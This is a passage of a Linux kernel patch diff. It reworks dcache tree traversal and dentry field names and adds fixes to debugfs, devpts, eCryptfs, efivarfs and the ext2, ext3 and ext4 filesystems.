list_del(&dentry->d_u.d_child); + list_del(&dentry->d_child); } else { parent = dentry->d_parent; parent->d_count--; - list_del(&dentry->d_u.d_child); + list_del(&dentry->d_child); } inode = dentry->d_inode; if (inode) { dentry->d_inode = NULL; - hlist_del_init(&dentry->d_alias); + hlist_del_init(&dentry->d_u.d_alias); if (dentry->d_op && dentry->d_op->d_iput) dentry->d_op->d_iput(dentry, inode); else @@ -958,7 +958,7 @@ static void shrink_dcache_for_umount_subtree(struct dentry *dentry) } while (list_empty(&dentry->d_subdirs)); dentry = list_entry(dentry->d_subdirs.next, - struct dentry, d_u.d_child); + struct dentry, d_child); } } @@ -990,35 +990,6 @@ void shrink_dcache_for_umount(struct super_block *sb) } } -/* - * This tries to ascend one level of parenthood, but - * we can race with renaming, so we need to re-check - * the parenthood after dropping the lock and check - * that the sequence number still matches. - */ -static struct dentry *try_to_ascend(struct dentry *old, int locked, unsigned seq) -{ - struct dentry *new = old->d_parent; - - rcu_read_lock(); - spin_unlock(&old->d_lock); - spin_lock(&new->d_lock); - - /* - * might go back up the wrong parent if we have had a rename - * or deletion - */ - if (new != old->d_parent || - (old->d_flags & DCACHE_DENTRY_KILLED) || - (!locked && read_seqretry(&rename_lock, seq))) { - spin_unlock(&new->d_lock); - new = NULL; - } - rcu_read_unlock(); - return new; -} - - /* * Search for at least 1 mount point in the dentry's subdirs. * We descend to the next level whenever the d_subdirs @@ -1051,7 +1022,7 @@ int have_submounts(struct dentry *parent) resume: while (next != &this_parent->d_subdirs) { struct list_head *tmp = next; - struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); + struct dentry *dentry = list_entry(tmp, struct dentry, d_child); next = tmp->next; spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); @@ -1073,30 +1044,48 @@ int have_submounts(struct dentry *parent) /* * All done at this level ... ascend and resume the search. */ + rcu_read_lock(); +ascend: if (this_parent != parent) { struct dentry *child = this_parent; - this_parent = try_to_ascend(this_parent, locked, seq); - if (!this_parent) + this_parent = child->d_parent; + + spin_unlock(&child->d_lock); + spin_lock(&this_parent->d_lock); + + /* might go back up the wrong parent if we have had a rename. */ + if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; - next = child->d_u.d_child.next; + /* go into the first sibling still alive */ + do { + next = child->d_child.next; + if (next == &this_parent->d_subdirs) + goto ascend; + child = list_entry(next, struct dentry, d_child); + } while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)); + rcu_read_unlock(); goto resume; } - spin_unlock(&this_parent->d_lock); if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; + spin_unlock(&this_parent->d_lock); + rcu_read_unlock(); if (locked) write_sequnlock(&rename_lock); return 0; /* No mount points found in tree */ positive: if (!locked && read_seqretry(&rename_lock, seq)) - goto rename_retry; + goto rename_retry_unlocked; if (locked) write_sequnlock(&rename_lock); return 1; rename_retry: + spin_unlock(&this_parent->d_lock); + rcu_read_unlock(); if (locked) goto again; +rename_retry_unlocked: locked = 1; write_seqlock(&rename_lock); goto again; @@ -1134,7 +1123,7 @@ static int select_parent(struct dentry *parent, struct list_head *dispose) resume: while (next != &this_parent->d_subdirs) { struct list_head *tmp = next; - struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); + struct dentry *dentry = list_entry(tmp, struct dentry, d_child); next = tmp->next; spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); @@ -1161,6 +1150,7 @@ static int select_parent(struct dentry *parent, struct list_head *dispose) */ if (found && need_resched()) { spin_unlock(&dentry->d_lock); + rcu_read_lock(); goto out; } @@ -1180,23 +1170,40 @@ static int select_parent(struct dentry *parent, struct list_head *dispose) /* * All done at this level ... ascend and resume the search. */ + rcu_read_lock(); +ascend: if (this_parent != parent) { struct dentry *child = this_parent; - this_parent = try_to_ascend(this_parent, locked, seq); - if (!this_parent) + this_parent = child->d_parent; + + spin_unlock(&child->d_lock); + spin_lock(&this_parent->d_lock); + + /* might go back up the wrong parent if we have had a rename. */ + if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; - next = child->d_u.d_child.next; + /* go into the first sibling still alive */ + do { + next = child->d_child.next; + if (next == &this_parent->d_subdirs) + goto ascend; + child = list_entry(next, struct dentry, d_child); + } while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)); + rcu_read_unlock(); goto resume; } out: - spin_unlock(&this_parent->d_lock); if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; + spin_unlock(&this_parent->d_lock); + rcu_read_unlock(); if (locked) write_sequnlock(&rename_lock); return found; rename_retry: + spin_unlock(&this_parent->d_lock); + rcu_read_unlock(); if (found) return found; if (locked) @@ -1281,8 +1288,8 @@ struct dentry *__d_alloc(struct super_block *sb, const struct qstr *name) INIT_HLIST_BL_NODE(&dentry->d_hash); INIT_LIST_HEAD(&dentry->d_lru); INIT_LIST_HEAD(&dentry->d_subdirs); - INIT_HLIST_NODE(&dentry->d_alias); - INIT_LIST_HEAD(&dentry->d_u.d_child); + INIT_HLIST_NODE(&dentry->d_u.d_alias); + INIT_LIST_HEAD(&dentry->d_child); d_set_d_op(dentry, dentry->d_sb->s_d_op); this_cpu_inc(nr_dentry); @@ -1304,7 +1311,7 @@ struct dentry *d_alloc(struct dentry * parent, const struct qstr *name) struct dentry *dentry = __d_alloc(parent->d_sb, name); if (!dentry) return NULL; - + dentry->d_flags |= DCACHE_RCUACCESS; spin_lock(&parent->d_lock); /* * don't need child lock because it is not subject @@ -1312,7 +1319,7 @@ struct dentry *d_alloc(struct dentry * parent, const struct qstr *name) */ __dget_dlock(parent); dentry->d_parent = parent; - list_add(&dentry->d_u.d_child, &parent->d_subdirs); + list_add(&dentry->d_child, &parent->d_subdirs); spin_unlock(&parent->d_lock); return dentry; @@ -1372,7 +1379,7 @@ static void __d_instantiate(struct dentry *dentry, struct inode *inode) if (inode) { if (unlikely(IS_AUTOMOUNT(inode))) dentry->d_flags |= DCACHE_NEED_AUTOMOUNT; - hlist_add_head(&dentry->d_alias, &inode->i_dentry); + hlist_add_head(&dentry->d_u.d_alias, &inode->i_dentry); } dentry->d_inode = inode; dentry_rcuwalk_barrier(dentry); @@ -1397,7 +1404,7 @@ static void __d_instantiate(struct dentry *dentry, struct inode *inode) void d_instantiate(struct dentry *entry, struct inode * inode) { - BUG_ON(!hlist_unhashed(&entry->d_alias)); + BUG_ON(!hlist_unhashed(&entry->d_u.d_alias)); if (inode) spin_lock(&inode->i_lock); __d_instantiate(entry, inode); @@ -1436,7 +1443,7 @@ static struct dentry *__d_instantiate_unique(struct dentry *entry, return NULL; } - hlist_for_each_entry(alias, &inode->i_dentry, d_alias) { + hlist_for_each_entry(alias, &inode->i_dentry, d_u.d_alias) { /* * Don't need alias->d_lock here, because aliases with * d_parent == entry->d_parent are not subject to name or @@ -1462,7 +1469,7 @@ struct dentry *d_instantiate_unique(struct dentry *entry, struct inode *inode) { struct dentry *result; - BUG_ON(!hlist_unhashed(&entry->d_alias)); + BUG_ON(!hlist_unhashed(&entry->d_u.d_alias)); if (inode) spin_lock(&inode->i_lock); @@ -1505,7 +1512,7 @@ static struct dentry * __d_find_any_alias(struct inode *inode) if (hlist_empty(&inode->i_dentry)) return NULL; - alias = hlist_entry(inode->i_dentry.first, struct dentry, d_alias); + alias = hlist_entry(inode->i_dentry.first, struct dentry, d_u.d_alias); __dget(alias); return alias; } @@ -1579,7 +1586,7 @@ struct dentry *d_obtain_alias(struct inode *inode) spin_lock(&tmp->d_lock); tmp->d_inode = inode; tmp->d_flags |= DCACHE_DISCONNECTED; - hlist_add_head(&tmp->d_alias, &inode->i_dentry); + hlist_add_head(&tmp->d_u.d_alias, &inode->i_dentry); hlist_bl_lock(&tmp->d_sb->s_anon); hlist_bl_add_head(&tmp->d_hash, &tmp->d_sb->s_anon); hlist_bl_unlock(&tmp->d_sb->s_anon); @@ -2022,7 +2029,7 @@ int d_validate(struct dentry *dentry, struct dentry *dparent) struct dentry *child; spin_lock(&dparent->d_lock); - list_for_each_entry(child, &dparent->d_subdirs, d_u.d_child) { + list_for_each_entry(child, &dparent->d_subdirs, d_child) { if (dentry == child) { spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); __dget_dlock(dentry); @@ -2094,7 +2101,6 @@ static void __d_rehash(struct dentry * entry, struct hlist_bl_head *b) { BUG_ON(!d_unhashed(entry)); hlist_bl_lock(b); - entry->d_flags |= DCACHE_RCUACCESS; hlist_bl_add_head_rcu(&entry->d_hash, b); hlist_bl_unlock(b); } @@ -2269,8 +2275,8 @@ static void __d_move(struct dentry * dentry, struct dentry * target) /* Unhash the target: dput() will then get rid of it */ __d_drop(target); - list_del(&dentry->d_u.d_child); - list_del(&target->d_u.d_child); + list_del(&dentry->d_child); + list_del(&target->d_child); /* Switch the names.. */ switch_names(dentry, target); @@ -2278,17 +2284,18 @@ static void __d_move(struct dentry * dentry, struct dentry * target) /* ... and switch the parents */ if (IS_ROOT(dentry)) { + dentry->d_flags |= DCACHE_RCUACCESS; dentry->d_parent = target->d_parent; target->d_parent = target; - INIT_LIST_HEAD(&target->d_u.d_child); + INIT_LIST_HEAD(&target->d_child); } else { swap(dentry->d_parent, target->d_parent); /* And add them back to the (new) parent lists */ - list_add(&target->d_u.d_child, &target->d_parent->d_subdirs); + list_add(&target->d_child, &target->d_parent->d_subdirs); } - list_add(&dentry->d_u.d_child, &dentry->d_parent->d_subdirs); + list_add(&dentry->d_child, &dentry->d_parent->d_subdirs); write_seqcount_end(&target->d_seq); write_seqcount_end(&dentry->d_seq); @@ -2394,10 +2401,11 @@ static void __d_materialise_dentry(struct dentry *dentry, struct dentry *anon) switch_names(dentry, anon); swap(dentry->d_name.hash, anon->d_name.hash); + dentry->d_flags |= DCACHE_RCUACCESS; dentry->d_parent = dentry; - list_del_init(&dentry->d_u.d_child); + list_del_init(&dentry->d_child); anon->d_parent = dparent; - list_move(&anon->d_u.d_child, &dparent->d_subdirs); + list_move(&anon->d_child, &dparent->d_subdirs); write_seqcount_end(&dentry->d_seq); write_seqcount_end(&anon->d_seq); @@ -2527,6 +2535,8 @@ static int prepend_path(const struct path *path, struct dentry *dentry = path->dentry; struct vfsmount *vfsmnt = path->mnt; struct mount *mnt = real_mount(vfsmnt); + char *orig_buffer = *buffer; + int orig_len = *buflen; bool slash = false; int error = 0; @@ -2534,6 +2544,14 @@ static int prepend_path(const struct path *path, struct dentry * parent; if (dentry == vfsmnt->mnt_root || IS_ROOT(dentry)) { + /* Escaped? */ + if (dentry != vfsmnt->mnt_root) { + *buffer = orig_buffer; + *buflen = orig_len; + slash = false; + error = 3; + goto global_root; + } /* Global root? */ if (!mnt_has_parent(mnt)) goto global_root; @@ -2562,15 +2580,6 @@ static int prepend_path(const struct path *path, return error; global_root: - /* - * Filesystems needing to implement special "root names" - * should do so with ->d_dname() - */ - if (IS_ROOT(dentry) && - (dentry->d_name.len != 1 || dentry->d_name.name[0] != '/')) { - WARN(1, "Root dentry has weird name <%.*s>\n", - (int) dentry->d_name.len, dentry->d_name.name); - } if (!slash) error = prepend(buffer, buflen, "/", 1); if (!error) @@ -2936,7 +2945,7 @@ void d_genocide(struct dentry *root) resume: while (next != &this_parent->d_subdirs) { struct list_head *tmp = next; - struct dentry *dentry = list_entry(tmp, struct dentry, d_u.d_child); + struct dentry *dentry = list_entry(tmp, struct dentry, d_child); next = tmp->next; spin_lock_nested(&dentry->d_lock, DENTRY_D_LOCK_NESTED); @@ -2957,26 +2966,43 @@ void d_genocide(struct dentry *root) } spin_unlock(&dentry->d_lock); } + rcu_read_lock(); +ascend: if (this_parent != root) { struct dentry *child = this_parent; if (!(this_parent->d_flags & DCACHE_GENOCIDE)) { this_parent->d_flags |= DCACHE_GENOCIDE; this_parent->d_count--; } - this_parent = try_to_ascend(this_parent, locked, seq); - if (!this_parent) + this_parent = child->d_parent; + + spin_unlock(&child->d_lock); + spin_lock(&this_parent->d_lock); + + /* might go back up the wrong parent if we have had a rename. */ + if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; - next = child->d_u.d_child.next; + /* go into the first sibling still alive */ + do { + next = child->d_child.next; + if (next == &this_parent->d_subdirs) + goto ascend; + child = list_entry(next, struct dentry, d_child); + } while (unlikely(child->d_flags & DCACHE_DENTRY_KILLED)); + rcu_read_unlock(); goto resume; } - spin_unlock(&this_parent->d_lock); if (!locked && read_seqretry(&rename_lock, seq)) goto rename_retry; + spin_unlock(&this_parent->d_lock); + rcu_read_unlock(); if (locked) write_sequnlock(&rename_lock); return; rename_retry: + spin_unlock(&this_parent->d_lock); + rcu_read_unlock(); if (locked) goto again; locked = 1; diff --git a/fs/debugfs/inode.c b/fs/debugfs/inode.c index 1c807d31759a8..121d2b6d1fbc7 100644 --- a/fs/debugfs/inode.c +++ b/fs/debugfs/inode.c @@ -245,10 +245,19 @@ static int debugfs_show_options(struct seq_file *m, struct dentry *root) return 0; } +static void debugfs_evict_inode(struct inode *inode) +{ + truncate_inode_pages(&inode->i_data, 0); + clear_inode(inode); + if (S_ISLNK(inode->i_mode)) + kfree(inode->i_private); +} + static const struct super_operations debugfs_super_operations = { .statfs = simple_statfs, .remount_fs = debugfs_remount, .show_options = debugfs_show_options, + .evict_inode = debugfs_evict_inode, }; static int debug_fill_super(struct super_block *sb, void *data, int silent) @@ -465,23 +474,14 @@ static int __debugfs_remove(struct dentry *dentry, struct dentry *parent) int ret = 0; if (debugfs_positive(dentry)) { - if (dentry->d_inode) { - dget(dentry); - switch (dentry->d_inode->i_mode & S_IFMT) { - case S_IFDIR: - ret = simple_rmdir(parent->d_inode, dentry); - break; - case S_IFLNK: - kfree(dentry->d_inode->i_private); - /* fall through */ - default: - simple_unlink(parent->d_inode, dentry); - break; - } - if (!ret) - d_delete(dentry); - dput(dentry); - } + dget(dentry); + if (S_ISDIR(dentry->d_inode->i_mode)) + ret = simple_rmdir(parent->d_inode, dentry); + else + simple_unlink(parent->d_inode, dentry); + if (!ret) + d_delete(dentry); + dput(dentry); } return ret; } @@ -545,7 +545,7 @@ void debugfs_remove_recursive(struct dentry *dentry) parent = dentry; down: mutex_lock(&parent->d_inode->i_mutex); - list_for_each_entry_safe(child, next, &parent->d_subdirs, d_u.d_child) { + list_for_each_entry_safe(child, next, &parent->d_subdirs, d_child) { if (!debugfs_positive(child)) continue; @@ -566,8 +566,8 @@ void debugfs_remove_recursive(struct dentry *dentry) mutex_lock(&parent->d_inode->i_mutex); if (child != dentry) { - next = list_entry(child->d_u.d_child.next, struct dentry, - d_u.d_child); + next = list_entry(child->d_child.next, struct dentry, + d_child); goto up; } diff --git a/fs/devpts/inode.c b/fs/devpts/inode.c index a726b9f29cb71..61af24e379add 100644 --- a/fs/devpts/inode.c +++ b/fs/devpts/inode.c @@ -564,6 +564,26 @@ void devpts_kill_index(struct inode *ptmx_inode, int idx) mutex_unlock(&allocated_ptys_lock); } +/* + * pty code needs to hold extra references in case of last /dev/tty close + */ + +void devpts_add_ref(struct inode *ptmx_inode) +{ + struct super_block *sb = pts_sb_from_inode(ptmx_inode); + + atomic_inc(&sb->s_active); + ihold(ptmx_inode); +} + +void devpts_del_ref(struct inode *ptmx_inode) +{ + struct super_block *sb = pts_sb_from_inode(ptmx_inode); + + iput(ptmx_inode); + deactivate_super(sb); +} + /** * devpts_pty_new -- create a new inode in /dev/pts/ * @ptmx_inode: inode of the master diff --git a/fs/ecryptfs/file.c b/fs/ecryptfs/file.c index a7abbea2c0963..d4644cc938ba1 100644 --- a/fs/ecryptfs/file.c +++ b/fs/ecryptfs/file.c @@ -183,6 +183,19 @@ static int read_or_initialize_metadata(struct dentry *dentry) return rc; } +static int ecryptfs_mmap(struct file *file, struct vm_area_struct *vma) +{ + struct file *lower_file = ecryptfs_file_to_lower(file); + /* + * Don't allow mmap on top of file systems that don't support it + * natively. If FILESYSTEM_MAX_STACK_DEPTH > 2 or ecryptfs + * allows recursive mounting, this will need to be extended. + */ + if (!lower_file->f_op->mmap) + return -ENODEV; + return generic_file_mmap(file, vma); +} + /** * ecryptfs_open * @inode: inode speciying file to open @@ -196,23 +209,11 @@ static int ecryptfs_open(struct inode *inode, struct file *file) { int rc = 0; struct ecryptfs_crypt_stat *crypt_stat = NULL; - struct ecryptfs_mount_crypt_stat *mount_crypt_stat; struct dentry *ecryptfs_dentry = file->f_path.dentry; /* Private value of ecryptfs_dentry allocated in * ecryptfs_lookup() */ struct ecryptfs_file_info *file_info; - mount_crypt_stat = &ecryptfs_superblock_to_private( - ecryptfs_dentry->d_sb)->mount_crypt_stat; - if ((mount_crypt_stat->flags & ECRYPTFS_ENCRYPTED_VIEW_ENABLED) - && ((file->f_flags & O_WRONLY) || (file->f_flags & O_RDWR) - || (file->f_flags & O_CREAT) || (file->f_flags & O_TRUNC) - || (file->f_flags & O_APPEND))) { - printk(KERN_WARNING "Mount has encrypted view enabled; " - "files may only be read\n"); - rc = -EPERM; - goto out; - } /* Released in ecryptfs_release or end of function if failure */ file_info = kmem_cache_zalloc(ecryptfs_file_info_cache, GFP_KERNEL); ecryptfs_set_file_private(file, file_info); @@ -370,7 +371,7 @@ const struct file_operations ecryptfs_main_fops = { #ifdef CONFIG_COMPAT .compat_ioctl = ecryptfs_compat_ioctl, #endif - .mmap = generic_file_mmap, + .mmap = ecryptfs_mmap, .open = ecryptfs_open, .flush = ecryptfs_flush, .release = ecryptfs_release, diff --git a/fs/ecryptfs/inode.c b/fs/ecryptfs/inode.c index 5eab400e25903..41baf8b5e0eb2 100644 --- a/fs/ecryptfs/inode.c +++ b/fs/ecryptfs/inode.c @@ -1051,7 +1051,7 @@ ecryptfs_setxattr(struct dentry *dentry, const char *name, const void *value, } rc = vfs_setxattr(lower_dentry, name, value, size, flags); - if (!rc) + if (!rc && dentry->d_inode) fsstack_copy_attr_all(dentry->d_inode, lower_dentry->d_inode); out: return rc; diff --git a/fs/ecryptfs/kthread.c b/fs/ecryptfs/kthread.c index 84e7d54799eea..f1ea610362c6c 100644 --- a/fs/ecryptfs/kthread.c +++ b/fs/ecryptfs/kthread.c @@ -25,7 +25,6 @@ #include #include #include -#include #include "ecryptfs_kernel.h" struct ecryptfs_open_req { @@ -148,7 +147,7 @@ int ecryptfs_privileged_open(struct file **lower_file, flags |= IS_RDONLY(lower_dentry->d_inode) ? O_RDONLY : O_RDWR; (*lower_file) = dentry_open(&req.path, flags, cred); if (!IS_ERR(*lower_file)) - goto have_file; + goto out; if ((flags & O_ACCMODE) == O_RDONLY) { rc = PTR_ERR((*lower_file)); goto out; @@ -166,17 +165,8 @@ int ecryptfs_privileged_open(struct file **lower_file, mutex_unlock(&ecryptfs_kthread_ctl.mux); wake_up(&ecryptfs_kthread_ctl.wait); wait_for_completion(&req.done); - if (IS_ERR(*lower_file)) { + if (IS_ERR(*lower_file)) rc = PTR_ERR(*lower_file); - goto out; - } - -have_file: - if ((*lower_file)->f_op->mmap == NULL) { - fput(*lower_file); - *lower_file = NULL; - rc = -EMEDIUMTYPE; - } out: return rc; } diff --git a/fs/ecryptfs/main.c b/fs/ecryptfs/main.c index e924cf45aad95..329a9cc2b2ebe 100644 --- a/fs/ecryptfs/main.c +++ b/fs/ecryptfs/main.c @@ -494,6 +494,7 @@ static struct dentry *ecryptfs_mount(struct file_system_type *fs_type, int flags { struct super_block *s; struct ecryptfs_sb_info *sbi; + struct ecryptfs_mount_crypt_stat *mount_crypt_stat; struct ecryptfs_dentry_info *root_info; const char *err = "Getting sb failed"; struct inode *inode; @@ -512,6 +513,7 @@ static struct dentry *ecryptfs_mount(struct file_system_type *fs_type, int flags err = "Error parsing options"; goto out; } + mount_crypt_stat = &sbi->mount_crypt_stat; s = sget(fs_type, NULL, set_anon_super, flags, NULL); if (IS_ERR(s)) { @@ -558,11 +560,19 @@ static struct dentry *ecryptfs_mount(struct file_system_type *fs_type, int flags /** * Set the POSIX ACL flag based on whether they're enabled in the lower - * mount. Force a read-only eCryptfs mount if the lower mount is ro. - * Allow a ro eCryptfs mount even when the lower mount is rw. + * mount. */ s->s_flags = flags & ~MS_POSIXACL; - s->s_flags |= path.dentry->d_sb->s_flags & (MS_RDONLY | MS_POSIXACL); + s->s_flags |= path.dentry->d_sb->s_flags & MS_POSIXACL; + + /** + * Force a read-only eCryptfs mount when: + * 1) The lower mount is ro + * 2) The ecryptfs_encrypted_view mount option is specified + */ + if (path.dentry->d_sb->s_flags & MS_RDONLY || + mount_crypt_stat->flags & ECRYPTFS_ENCRYPTED_VIEW_ENABLED) + s->s_flags |= MS_RDONLY; s->s_maxbytes = path.dentry->d_sb->s_maxbytes; s->s_blocksize = path.dentry->d_sb->s_blocksize; diff --git a/fs/efivarfs/file.c b/fs/efivarfs/file.c index 8dd524f322847..08f105a06fbfc 100644 --- a/fs/efivarfs/file.c +++ b/fs/efivarfs/file.c @@ -10,6 +10,7 @@ #include #include #include +#include #include "internal.h" @@ -108,9 +109,79 @@ static ssize_t efivarfs_file_read(struct file *file, char __user *userbuf, return size; } +static int +efivarfs_ioc_getxflags(struct file *file, void __user *arg) +{ + struct inode *inode = file->f_mapping->host; + unsigned int i_flags; + unsigned int flags = 0; + + i_flags = inode->i_flags; + if (i_flags & S_IMMUTABLE) + flags |= FS_IMMUTABLE_FL; + + if (copy_to_user(arg, &flags, sizeof(flags))) + return -EFAULT; + return 0; +} + +static int +efivarfs_ioc_setxflags(struct file *file, void __user *arg) +{ + struct inode *inode = file->f_mapping->host; + unsigned int flags; + unsigned int i_flags = 0; + int error; + + if (!inode_owner_or_capable(inode)) + return -EACCES; + + if (copy_from_user(&flags, arg, sizeof(flags))) + return -EFAULT; + + if (flags & ~FS_IMMUTABLE_FL) + return -EOPNOTSUPP; + + if (!capable(CAP_LINUX_IMMUTABLE)) + return -EPERM; + + if (flags & FS_IMMUTABLE_FL) + i_flags |= S_IMMUTABLE; + + + error = mnt_want_write_file(file); + if (error) + return error; + + mutex_lock(&inode->i_mutex); + inode->i_flags &= ~S_IMMUTABLE; + inode->i_flags |= i_flags; + mutex_unlock(&inode->i_mutex); + + mnt_drop_write_file(file); + + return 0; +} + +long +efivarfs_file_ioctl(struct file *file, unsigned int cmd, unsigned long p) +{ + void __user *arg = (void __user *)p; + + switch (cmd) { + case FS_IOC_GETFLAGS: + return efivarfs_ioc_getxflags(file, arg); + case FS_IOC_SETFLAGS: + return efivarfs_ioc_setxflags(file, arg); + } + + return -ENOTTY; +} + const struct file_operations efivarfs_file_operations = { .open = simple_open, .read = efivarfs_file_read, .write = efivarfs_file_write, .llseek = no_llseek, + .unlocked_ioctl = efivarfs_file_ioctl, }; diff --git a/fs/efivarfs/inode.c b/fs/efivarfs/inode.c index 7e787fb90293e..d0351bc7b5332 100644 --- a/fs/efivarfs/inode.c +++ b/fs/efivarfs/inode.c @@ -15,7 +15,8 @@ #include "internal.h" struct inode *efivarfs_get_inode(struct super_block *sb, - const struct inode *dir, int mode, dev_t dev) + const struct inode *dir, int mode, + dev_t dev, bool is_removable) { struct inode *inode = new_inode(sb); @@ -23,6 +24,7 @@ struct inode *efivarfs_get_inode(struct super_block *sb, inode->i_ino = get_next_ino(); inode->i_mode = mode; inode->i_atime = inode->i_mtime = inode->i_ctime = CURRENT_TIME; + inode->i_flags = is_removable ? 0 : S_IMMUTABLE; switch (mode & S_IFMT) { case S_IFREG: inode->i_fop = &efivarfs_file_operations; @@ -102,22 +104,17 @@ static void efivarfs_hex_to_guid(const char *str, efi_guid_t *guid) static int efivarfs_create(struct inode *dir, struct dentry *dentry, umode_t mode, bool excl) { - struct inode *inode; + struct inode *inode = NULL; struct efivar_entry *var; int namelen, i = 0, err = 0; + bool is_removable = false; if (!efivarfs_valid_name(dentry->d_name.name, dentry->d_name.len)) return -EINVAL; - inode = efivarfs_get_inode(dir->i_sb, dir, mode, 0); - if (!inode) - return -ENOMEM; - var = kzalloc(sizeof(struct efivar_entry), GFP_KERNEL); - if (!var) { - err = -ENOMEM; - goto out; - } + if (!var) + return -ENOMEM; /* length of the variable name itself: remove GUID and separator */ namelen = dentry->d_name.len - EFI_VARIABLE_GUID_LEN - 1; @@ -125,6 +122,16 @@ static int efivarfs_create(struct inode *dir, struct dentry *dentry, efivarfs_hex_to_guid(dentry->d_name.name + namelen + 1, &var->var.VendorGuid); + if (efivar_variable_is_removable(var->var.VendorGuid, + dentry->d_name.name, namelen)) + is_removable = true; + + inode = efivarfs_get_inode(dir->i_sb, dir, mode, 0, is_removable); + if (!inode) { + err = -ENOMEM; + goto out; + } + for (i = 0; i < namelen; i++) var->var.VariableName[i] = dentry->d_name.name[i]; @@ -138,7 +145,8 @@ static int efivarfs_create(struct inode *dir, struct dentry *dentry, out: if (err) { kfree(var); - iput(inode); + if (inode) + iput(inode); } return err; } diff --git a/fs/efivarfs/internal.h b/fs/efivarfs/internal.h index b5ff16addb7ce..b4505188e799b 100644 --- a/fs/efivarfs/internal.h +++ b/fs/efivarfs/internal.h @@ -15,7 +15,8 @@ extern const struct file_operations efivarfs_file_operations; extern const struct inode_operations efivarfs_dir_inode_operations; extern bool efivarfs_valid_name(const char *str, int len); extern struct inode *efivarfs_get_inode(struct super_block *sb, - const struct inode *dir, int mode, dev_t dev); + const struct inode *dir, int mode, dev_t dev, + bool is_removable); extern struct list_head efivarfs_list; diff --git a/fs/efivarfs/super.c b/fs/efivarfs/super.c index 141aee31884ff..5a3655f690d92 100644 --- a/fs/efivarfs/super.c +++ b/fs/efivarfs/super.c @@ -128,8 +128,9 @@ static int efivarfs_callback(efi_char16_t *name16, efi_guid_t vendor, struct dentry *dentry, *root = sb->s_root; unsigned long size = 0; char *name; - int len, i; + int len; int err = -ENOMEM; + bool is_removable = false; entry = kmalloc(sizeof(*entry), GFP_KERNEL); if (!entry) @@ -138,15 +139,17 @@ static int efivarfs_callback(efi_char16_t *name16, efi_guid_t vendor, memcpy(entry->var.VariableName, name16, name_size); memcpy(&(entry->var.VendorGuid), &vendor, sizeof(efi_guid_t)); - len = ucs2_strlen(entry->var.VariableName); + len = ucs2_utf8size(entry->var.VariableName); /* name, plus '-', plus GUID, plus NUL*/ name = kmalloc(len + 1 + EFI_VARIABLE_GUID_LEN + 1, GFP_KERNEL); if (!name) goto fail; - for (i = 0; i < len; i++) - name[i] = entry->var.VariableName[i] & 0xFF; + ucs2_as_utf8(name, entry->var.VariableName, len); + + if (efivar_variable_is_removable(entry->var.VendorGuid, name, len)) + is_removable = true; name[len] = '-'; @@ -154,7 +157,8 @@ static int efivarfs_callback(efi_char16_t *name16, efi_guid_t vendor, name[len + EFI_VARIABLE_GUID_LEN+1] = '\0'; - inode = efivarfs_get_inode(sb, root->d_inode, S_IFREG | 0644, 0); + inode = efivarfs_get_inode(sb, root->d_inode, S_IFREG | 0644, 0, + is_removable); if (!inode) goto fail_name; @@ -210,7 +214,7 @@ static int efivarfs_fill_super(struct super_block *sb, void *data, int silent) sb->s_d_op = &efivarfs_d_ops; sb->s_time_gran = 1; - inode = efivarfs_get_inode(sb, NULL, S_IFDIR | 0755, 0); + inode = efivarfs_get_inode(sb, NULL, S_IFDIR | 0755, 0, true); if (!inode) return -ENOMEM; inode->i_op = &efivarfs_dir_inode_operations; diff --git a/fs/exportfs/expfs.c b/fs/exportfs/expfs.c index 262fc99409824..b4eec4c9a790d 100644 --- a/fs/exportfs/expfs.c +++ b/fs/exportfs/expfs.c @@ -50,7 +50,7 @@ find_acceptable_alias(struct dentry *result, inode = result->d_inode; spin_lock(&inode->i_lock); - hlist_for_each_entry(dentry, &inode->i_dentry, d_alias) { + hlist_for_each_entry(dentry, &inode->i_dentry, d_u.d_alias) { dget(dentry); spin_unlock(&inode->i_lock); if (toput) diff --git a/fs/ext2/inode.c b/fs/ext2/inode.c index 0a87bb10998dc..99d84ce038b8d 100644 --- a/fs/ext2/inode.c +++ b/fs/ext2/inode.c @@ -632,6 +632,8 @@ static int ext2_get_blocks(struct inode *inode, int count = 0; ext2_fsblk_t first_block = 0; + BUG_ON(maxblocks == 0); + depth = ext2_block_to_path(inode,iblock,offsets,&blocks_to_boundary); if (depth == 0) diff --git a/fs/ext2/super.c b/fs/ext2/super.c index 288534920fe5c..20d6697bd6386 100644 --- a/fs/ext2/super.c +++ b/fs/ext2/super.c @@ -1493,6 +1493,7 @@ static ssize_t ext2_quota_write(struct super_block *sb, int type, sb->s_blocksize - offset : towrite; tmp_bh.b_state = 0; + tmp_bh.b_size = sb->s_blocksize; err = ext2_get_block(inode, blk, &tmp_bh, 1); if (err < 0) goto out; diff --git a/fs/ext2/xip.c b/fs/ext2/xip.c index 1c3312858fcf4..e98171a11cfe1 100644 --- a/fs/ext2/xip.c +++ b/fs/ext2/xip.c @@ -35,6 +35,7 @@ __ext2_get_block(struct inode *inode, pgoff_t pgoff, int create, int rc; memset(&tmp, 0, sizeof(struct buffer_head)); + tmp.b_size = 1 << inode->i_blkbits; rc = ext2_get_block(inode, pgoff, &tmp, create); *result = tmp.b_blocknr; diff --git a/fs/ext3/super.c b/fs/ext3/super.c index 6356665a74bb0..882d4bdfd4283 100644 --- a/fs/ext3/super.c +++ b/fs/ext3/super.c @@ -1300,13 +1300,6 @@ static int parse_options (char *options, struct super_block *sb, "not specified."); return 0; } - } else { - if (sbi->s_jquota_fmt) { - ext3_msg(sb, KERN_ERR, "error: journaled quota format " - "specified with no journaling " - "enabled."); - return 0; - } } #endif return 1; diff --git a/fs/ext4/ext4.h b/fs/ext4/ext4.h index 790b14c5f262d..046e3e93783ec 100644 --- a/fs/ext4/ext4.h +++ b/fs/ext4/ext4.h @@ -26,6 +26,7 @@ #include #include #include +#include #include #include #include @@ -589,6 +590,7 @@ enum { #define EXT4_FREE_BLOCKS_NO_QUOT_UPDATE 0x0008 #define 